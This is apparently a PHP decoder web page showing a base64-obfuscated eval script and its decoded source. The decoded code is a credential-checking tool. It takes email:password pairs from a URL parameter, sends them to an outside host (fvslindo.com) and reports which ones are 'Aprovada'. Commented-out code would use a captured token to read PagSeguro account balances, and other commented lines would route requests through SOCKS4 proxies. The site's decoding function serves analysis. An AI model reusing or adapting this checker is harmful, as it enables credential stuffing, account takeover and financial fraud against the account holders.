Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKD..
Decoded Output download
?>b'<?php
set_time_limit(0);
error_reporting(0);
//$link = file_get_contents("https://api.getproxylist.com/proxy?apiKey=2769d07972701a1cb65b10f9565e205f3fcd463a&protocol=socks4&country=BR&lastTested=600");
//$link2 = json_decode($link);
//$link3 = $link2->ip;
//$link4 = $link2->port;
//$proxy = $link3.":".$link4;
class cURL {
var $callback = false;
function setCallback($func_name) {
$this->callback = $func_name;
}
function doRequest($method, $url, $vars) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER[\'HTTP_USER_AGENT\']);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch,CURLOPT_HTTPHEADER,array(false));
//curl_setopt($curl, CURLOPT_PROXY, $proxy);
//curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS4);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 200);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().\'/cookie.txt\');
curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().\'/cookie.txt\');
curl_setopt($ch, CURLOPT_VERBOSE, 1);
if ($method == \'POST\') {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
}
$data = curl_exec($ch);
// echo $data;
curl_close($ch);
if ($data) {
if ($this->callback) {
$callback = $this->callback;
$this->callback = false;
return call_user_func($callback, $data);
} else {
return $data;
}
} else {
return curl_error($ch);
}
}
function get($url) {
return $this->doRequest(\'GET\', $url, \'NULL\');
}
function post($url, $vars) {
return $this->doRequest(\'POST\', $url, $vars);
}
}
function GetStr($string,$start,$end){
$str = explode($start, $string);
$str = explode($end, $str[1]);
return $str[0];
}
$lista = $_GET["lista"];
$email = explode(":", $lista)[0];
$senha = explode(":", $lista)[1];
$a = new cURL();
$b = $a->get(\'http://fvslindo.com/api.php?lista=\'.$email.\'|\'.$senha.\'\',\'\');
//$token = getStr($b,\'{"accessToken":"\',\'",\');
//$ch = curl_init();
//curl_setopt($ch,CURLOPT_URL, \'https://mb.api.pagseguro.uol/balances\');
//$headers = array();
//$headers[] = "x-token: ".$token."";
//$headers[] = "User-Agent: Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)";
//curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
//curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
//curl_setopt($ch, CURLOPT_USERAGENT, \'Minha Conta release/3.4.10 (br.com.uol.ps.myaccount; build:122; Android 5.1.1)\');
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_HEADER, 1);
//$result = curl_exec($ch);
$plano = GetStr($b, \'| Cidade \',\'| Vale\');
$criado = GetStr($b, \'created":"\',\'"}\');
//$carto = GetStr($b, \'<b> \',\'</b>\');
//$bloqueado = GetStr($result, \'balanceBlocked":"\',\'",\');
//$receber = GetStr($result, \'balanceReceivable":"\',\'",\');
//$acesso = GetStr($result, \'astUpdate":"\',\'",\');
if (strpos($b, \'Aprovada\')) {
echo "#Aprovada -> $email:$senha | Cidade: $plano";
}else{
echo "#Reprovada -> $email | $senha | [Proxy: $proxy]";
}
?>'
Did this file decode correctly?
Original Code
<?php @eval("?>".base64_decode("PD9waHANCnNldF90aW1lX2xpbWl0KDApOw0KZXJyb3JfcmVwb3J0aW5nKDApOw0KDQovLyRsaW5rID0gZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vYXBpLmdldHByb3h5bGlzdC5jb20vcHJveHk/YXBpS2V5PTI3NjlkMDc5NzI3MDFhMWNiNjViMTBmOTU2NWUyMDVmM2ZjZDQ2M2EmcHJvdG9jb2w9c29ja3M0JmNvdW50cnk9QlImbGFzdFRlc3RlZD02MDAiKTsNCi8vJGxpbmsyID0ganNvbl9kZWNvZGUoJGxpbmspOw0KLy8kbGluazMgPSAkbGluazItPmlwOw0KLy8kbGluazQgPSAkbGluazItPnBvcnQ7DQovLyRwcm94eSA9ICRsaW5rMy4iOiIuJGxpbms0Ow0KDQpjbGFzcyBjVVJMIHsNCiAgICB2YXIgJGNhbGxiYWNrID0gZmFsc2U7DQogICAgZnVuY3Rpb24gc2V0Q2FsbGJhY2soJGZ1bmNfbmFtZSkgew0KICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSAkZnVuY19uYW1lOw0KICAgIH0NCiAgICBmdW5jdGlvbiBkb1JlcXVlc3QoJG1ldGhvZCwgJHVybCwgJHZhcnMpIHsNCiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX05PQk9EWSwgMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX0hUVFBIRUFERVIsYXJyYXkoZmFsc2UpKTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9QUk9YWSwgJHByb3h5KTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUFJPWFlUWVBFLCBDVVJMUFJPWFlfU09DS1M0KTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsNCiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDIwMCk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsIGdldGN3ZCgpLicvY29va2llLnR4dCcpOw0KICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgZ2V0Y3dkKCkuJy9jb29raWUudHh0Jyk7DQogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9WRVJCT1NFLCAxKTsNCiAgICAgICAgaWYgKCRtZXRob2QgPT0gJ1BPU1QnKSB7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQogICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHZhcnMpOw0KICAgICAgICB9DQogICAgICAgICRkYXRhID0gY3VybF9leGVjKCRjaCk7DQogICAgICAgLy8gZWNobyAkZGF0YTsNCiAgICAgICAgY3VybF9jbG9zZSgkY2gpOw0KDQogICAgICAgIGlmICgkZGF0YSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5jYWxsYmFjaykgew0KICAgICAgICAgICAgICAgICRjYWxsYmFjayA9ICR0aGlzLT5jYWxsYmFjazsNCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2FsbGJhY2sgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICByZXR1cm4gY2FsbF91c2VyX2Z1bmMoJGNhbGxiYWNrLCAkZGF0YSk7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHJldHVybiAkZGF0YTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIHJldHVybiBjdXJsX2Vycm9yKCRjaCk7DQogICAgICAgIH0NCiAgICB9DQogICAgZnVuY3Rpb24gZ2V0KCR1cmwpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ0dFVCcsICR1cmwsICdOVUxMJyk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIHBvc3QoJHVybCwgJHZhcnMpIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5kb1JlcXVlc3QoJ1BPU1QnLCAkdXJsLCAkdmFycyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBHZXRTdHIoJHN0cmluZywkc3RhcnQsJGVuZCl7DQogICAgJHN0ciA9IGV4cGxvZGUoJHN0YXJ0LCAkc3RyaW5nKTsNCiAgICAkc3RyID0gZXhwbG9kZSgkZW5kLCAkc3RyWzFdKTsNCiAgICByZXR1cm4gJHN0clswXTsNCn0NCg0KDQoNCiRsaXN0YSA9ICRfR0VUWyJsaXN0YSJdOw0KJGVtYWlsID0gZXhwbG9kZSgiOiIsICRsaXN0YSlbMF07DQokc2VuaGEgPSBleHBsb2RlKCI6IiwgJGxpc3RhKVsxXTsNCg0KDQokYSA9IG5ldyBjVVJMKCk7DQogICAgICAgICAgICANCiRiID0gJGEtPmdldCgnaHR0cDovL2Z2c2xpbmRvLmNvbS9hcGkucGhwP2xpc3RhPScuJGVtYWlsLid8Jy4kc2VuaGEuJycsJycpOw0KDQovLyR0b2tlbiA9IGdldFN0cigkYiwneyJhY2Nlc3NUb2tlbiI6IicsJyIsJyk7DQoNCi8vJGNoID0gY3VybF9pbml0KCk7DQogICAgICAgIC8vY3VybF9zZXRvcHQoJGNoLENVUkxPUFRfVVJMLCAnaHR0cHM6Ly9tYi5hcGkucGFnc2VndXJvLnVvbC9iYWxhbmNlcycpOw0KICAgICAgICAvLyRoZWFkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgLy8kaGVhZGVyc1tdID0gIngtdG9rZW46ICIuJHRva2VuLiIiOw0KICAgICAgICAvLyRoZWFkZXJzW10gPSAiVXNlci1BZ2VudDogTWluaGEgQ29udGEgcmVsZWFzZS8zLjQuMTAgKGJyLmNvbS51b2wucHMubXlhY2NvdW50OyBidWlsZDoxMjI7IEFuZHJvaWQgNS4xLjEpIjsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgJGhlYWRlcnMpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICdNaW5oYSBDb250YSByZWxlYXNlLzMuNC4xMCAoYnIuY29tLnVvbC5wcy5teWFjY291bnQ7IGJ1aWxkOjEyMjsgQW5kcm9pZCA1LjEuMSknKTsNCiAgICAgICAgLy9jdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgICAgICAvL2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDEpOw0KICAgICAgICAvLyRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KICAgICAgICAkcGxhbm8gPSBHZXRTdHIoJGIsICd8IENpZGFkZSAnLCd8IFZhbGUnKTsNCiAgICAgICAgJGNyaWFkbyA9IEdldFN0cigkYiwgJ2NyZWF0ZWQiOiInLCcifScpOw0KDQogICAgICAgIC8vJGNhcnTDo28gPSBHZXRTdHIoJGIsICc8Yj4gJywnPC9iPicpOw0KICAgICAgICAvLyRibG9xdWVhZG8gPSBHZXRTdHIoJHJlc3VsdCwgJ2JhbGFuY2VCbG9ja2VkIjoiJywnIiwnKTsNCiAgICAgICAgLy8kcmVjZWJlciA9IEdldFN0cigkcmVzdWx0LCAnYmFsYW5jZVJlY2VpdmFibGUiOiInLCciLCcpOw0KICAgICAgICAvLyRhY2Vzc28gPSBHZXRTdHIoJHJlc3VsdCwgJ2FzdFVwZGF0ZSI6IicsJyIsJyk7DQoNCg0KICAgICAgICBpZiAoc3RycG9zKCRiLCAnQXByb3ZhZGEnKSkgeyANCg0KDQogZWNobyAiI0Fwcm92YWRhIC0+ICRlbWFpbDokc2VuaGEgfCBDaWRhZGU6ICRwbGFubyI7DQogDQogIA0KDQogICAgICAgIH1lbHNlew0KDQplY2hvICIjUmVwcm92YWRhIC0+ICRlbWFpbCB8ICRzZW5oYSB8IFtQcm94eTogJHByb3h5XSI7DQoNCg0KDQp9DQogDQogICAgDQoNCg0KPz4="));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program
Function Calls
base64_decode | 1 |
Stats
MD5 | 240a42907da1adf33d15a151954f4484 |
Eval Count | 1 |
Decode Time | 98 ms |